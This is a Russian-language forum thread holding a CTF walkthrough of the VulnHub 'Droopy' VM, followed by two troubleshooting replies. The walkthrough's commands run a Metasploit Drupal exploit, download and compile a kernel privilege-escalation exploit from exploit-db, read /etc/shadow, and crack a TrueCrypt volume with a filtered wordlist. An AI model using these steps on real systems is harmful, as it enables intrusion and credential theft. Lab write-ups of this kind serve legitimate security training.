CTF. Взлом The Droopy VM.

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем Vander, 20 сен 2016.

  1. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    320
    Симпатии:
    284
    Всем привет!
    В этой статье, я пошагово опишу взлом в рамках CTF (Capture The Flag) Challenge, уязвимой системы под названием The Droopy. Это проникновение будет осуществить немного сложнее предыдущего ( https://codeby.net/forum/threads/ctf-vzlom-mr-robot-vm.57930/#post-263816 ). Но в нем я покажу, как использовать (компилировать) эксплойты не включенные в Metasploit, скачивая их напрямую с сайта exploit-db.com. А так же покажу, как использовать полезную программу – VeraCrypt.
    Итак, начнем.

    Скачиваем систему отсюда - > https://download.vulnhub.com/droopy/

    Импортируем ее в Oracle VM Virtual Box, затем запускаем. ОС, используемая для взлома -> Kali Linux Rolling.

    upload_2016-9-20_16-53-28.png

    Переходим в терминал Kali Linux и запускаем утилиту netdiscover, для определения IP нашей цели в сети.

    upload_2016-9-20_16-54-14.png

    Адрес целевой системы - 172.16.0.195. Теперь запускаем агрессивный тип сканирования с помощью команды:

    > nmap –A 172.16.0.195

    upload_2016-9-20_16-54-36.png


    Результат сканирования показал, что есть открытый порт – 80. Используемая система - Drupal 7 версии, которая известна своими уязвимостями. Начнем использовать их, чтобы получить в итоге открытую сессию meterpreter.

    Drupal — система управления содержимым (CMS), используемая также как каркас для веб-приложений (CMF), написанная на языке PHP и использующая в качестве хранилища данных реляционную базу данных (поддерживаются MySQL, PostgreSQL и другие). Drupal является свободным программным обеспечением, защищённым лицензией GPL, и развивается усилиями энтузиастов со всего мира.
    Запускаем Metasploit Framework и вводим:

    > search drupal


    upload_2016-9-20_16-55-54.png

    Перед нами список уязвимостей, которые мы сможем применить для атаки нашей цели. Мы будем использовать эксплоит под названием drupal_drupageddon.
    Для этого последовательно вводим команды:

    > use exploit/multi/http/drupal_drupageddon

    > set RHOST 172.16.0.195 (IP целевого хоста)

    > set RPORT 80


    > exploit

    upload_2016-9-20_16-56-33.png

    В случае успешного срабатывания эксплойта получаем открытую сессию meterpreter. Идем дальше, пишем:

    > shell

    > echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asdf.py
    (Команда позволит создать в указанной папке скрипт, который даст нам доступ к pty)

    > python /tmp/asdf.py

    Выполненные команды позволили нам войти в терминал. Следующим шагом, узнаем версию операционной системы.

    > lsb_release –a

    upload_2016-9-20_16-58-9.png

    Теперь мы знаем версию ОС, это Ubuntu 14.04. Давайте попробуем найти рабочий эксплоит для этой системы непосредственно на exploit-db.com.
    Производим поиск на сайте по ключевым словам – ubuntu 14.04
    По завершении поиска выбираем подходящий эксплоит:

    upload_2016-9-20_16-58-35.png

    Выбранный эксплоит не доступен в Metasploit Framework, поэтому пойдем иным путем, о котором я упоминал в начале статьи:

    upload_2016-9-20_16-58-59.png

    Теперь необходимо создать исполняемый файл, для загрузки в него эксплойта. Но прежде, находим директорию, в которую мы можем вносить изменения, вводим следующее:

    > find / -writable -type d 2>/dev/null (Поиск подходящей директории)

    upload_2016-9-20_16-59-25.png

    Для наших целей подходит каталог /tmp.

    > cd /tmp/ (Переходим в директорию /tmp)

    > wget https://www.exlpoit-db.com/download/37292 (Этой командой загружаем эксплоит)

    В случае успеха получаем такой вывод:

    upload_2016-9-20_17-0-20.png

    Скачанный файл необходимо скомпилировать и запустить, таки путем мы получим root-доступ к системе. Чтобы сделать это, вводим команды, как показано ниже:

    > mv 37292 37292.c (Перед началом компиляции переименуем файл)

    > gcc 37292.c -o kernel (Эта команда скомпилирует указанный файл и сохранит его под именем kernel)

    > chmod 777 kernel (Этой командой разрешим исполнение файла)

    > ./kernel (Выполняем)

    После совершения этих действий мы получаем доступ супер-пользователя в системе. Убедиться в этом можно с помощью команды:

    > whoami (Покажет в качестве кого мы находимся в системе)

    > cd /root (Перейдем в каталог /root)

    > ls –a (Посмотрим его содержимое)

    upload_2016-9-20_17-1-54.png

    Для нас интерес представляет файл dave.tc. Так как это значит, что:


    ТИП ФАЙЛА - TrueCrypt Disk Volume Format

    СОЗДАТЕЛЬ - TrueCrypt

    Если попробовать открыть его в браузере, то он предложить сохранить файл. Пробуем скачать его, так как у нас есть легкий доступ ко всем каталогам, то просто скопируем dave.tc в каталог var/www/html, а затем обратившись по адресу 172.16.0.ХХХ/dave.tc, сохраним его себе на компьютер.

    > cp dave.tc /var/www/html

    upload_2016-9-20_17-2-32.png

    Давайте откроем файл с помощью VeraCrypt. Для справки, VeraCrypt — это программа для шифрования на-лету, которая основана на коде TrueCrypt. VeraCrypt умеет шифровать разделы целые диски, и может использоваться аутентификация перед загрузкой диска, который полностью зашифрован. По словам разработчика решены некоторые проблемы безопасности, которые присутствовали в TrueCrypt. В VeraCrypt используется XTS режим работы. Подробнее можно узнать из этой инструкции - https://codeby.net/bezopasnost/instrukcija-po-ispolzovaniju-veracrypt/

    Скачиваем и устанавливаем VeraCrypt из официального источника –> https://veracrypt.codeplex.com/wikipage?title=Downloads

    upload_2016-9-20_17-2-57.png

    Запускаем программу и выбираем 1 слот для монтирования. Указываем путь к нашему файлу, жмем Mount.

    upload_2016-9-20_17-3-15.png

    При попытке открыть файл, он попросит пароль, которого у нас нет, но мы попробуем отыскать его.

    Для начала заглянем в файл, который содержит все хэши паролей. В нашей системе это /etc/shadow. Подробнее о нем в этой статье - > https://codeby.net/bezopasnost/zashhita-s-pomoshhju-parolja-v-linux-fajl-etcshadow/

    > cat /etc/shadow

    upload_2016-9-20_17-3-38.png

    Теперь у нас есть хэш пароля root, необходимо определить, какой тип хэша использовался. В этом поможет сервис - http://www.onlinehashcrack.com/hash-identification.php

    Копируем, вставляем его в форму, получаем возможный тип хэша:
    upload_2016-9-20_17-4-2.png

    В данном случае это SHA512, но к нему мы вернемся чуть позже. Во время предыдущих исследований, мы ко всему прочему находили и почту, она хранится в /var/mail/www-data. Прочтем ее:

    > cat /var/mail/www-data

    upload_2016-9-20_17-4-23.png


    После прочтения почты становится ясно наверняка, что:

    · Пароль состоит из 11 символов

    · Пароль как-то связан с академией

    Чтобы найти его, нужно отфильтровать словарь rockyou.txt. Я рекомендую это сделать, так как, он содержит более 10 млн. строк. Если запустить перебор не фильтруя, это может занять очень много времени. Ниже представлена команда, которая отфильтрует словарь по указанным критериям:

    > awk ‘length($1) == 11 { print $1 }’ /usr/share/wordlists/rockyou.txt |egrep ‘^[[:lower:]]+academy’ > /root/Desktop/pazzz.txt


    upload_2016-9-20_17-5-0.png

    Для справки:

    AWK — интерпретируемый скриптовый C-подобный язык построчного разбора и обработки входного потока (например, текстового файла) по заданным шаблонам (регулярным выражениям). Используется в bash (SH) скриптах.

    Теперь, когда получен отфильтрованный файл словаря, вводим команду:

    > truecrack –truecrypt /root/Download/dave.tc -k SHA512 -w /root/Desktop/pazzzz.txt

    upload_2016-9-20_17-5-28.png

    С помощью этой команды пароль обнаруживается за считанные секунды. Теперь можем опять запускать VeraCrypt и использовать полученные данные.

    upload_2016-9-20_17-6-6.png

    Когда монтирование заканчивается, заходим в раздел, и по пути, указанному на скриншоте находим текстовый файл flag.txt. Запускаем:

    upload_2016-9-20_17-6-27.png

    Флаг получен и на этом взлом системы The Droopy заканчивается.

    Спасибо за внимание.

    upload_2016-9-20_17-7-28.png
     
    Darius, gx6060, pappa и 2 другим нравится это.
  2. Inject0r

    Inject0r Active Member

    Регистрация:
    3 сен 2016
    Сообщения:
    33
    Симпатии:
    9
    спасибо за качественную и практическую информацию! :)

    Правда у меня по ходу выполнения возникло 2 проблемы:
    1. Сайт не смог определить тип хэша (проверял вот эту часть: EFE6LjrVpz2yJrd2QSQEe/mGQ.8q3xXi9s5CJL95ngeh95PS91e10XLav4gRE1z4jv1Wmb6WH24yVQA6GKwEl/)
    2. VeraCrypt выдал ошибку при монтировании
    [​IMG]
    [​IMG]
    [​IMG]
     
    #2 Inject0r, 21 сен 2016
    Последнее редактирование модератором: 21 сен 2016
  3. Vander

    Vander Модератор
    Команда форума

    Регистрация:
    16 янв 2016
    Сообщения:
    320
    Симпатии:
    284
    1. Сайт не смог определить тип хэша - Тоже столкнулся с этим, далеко не с первого раза определил. Можно попробовать либо другие сервисы, либо пропустить, т.к. это не самое важное)
    2. Пароль правильно вводите? Стоит галочка на TrueCrypt Mode ?
     
Загрузка...

Поделиться этой страницей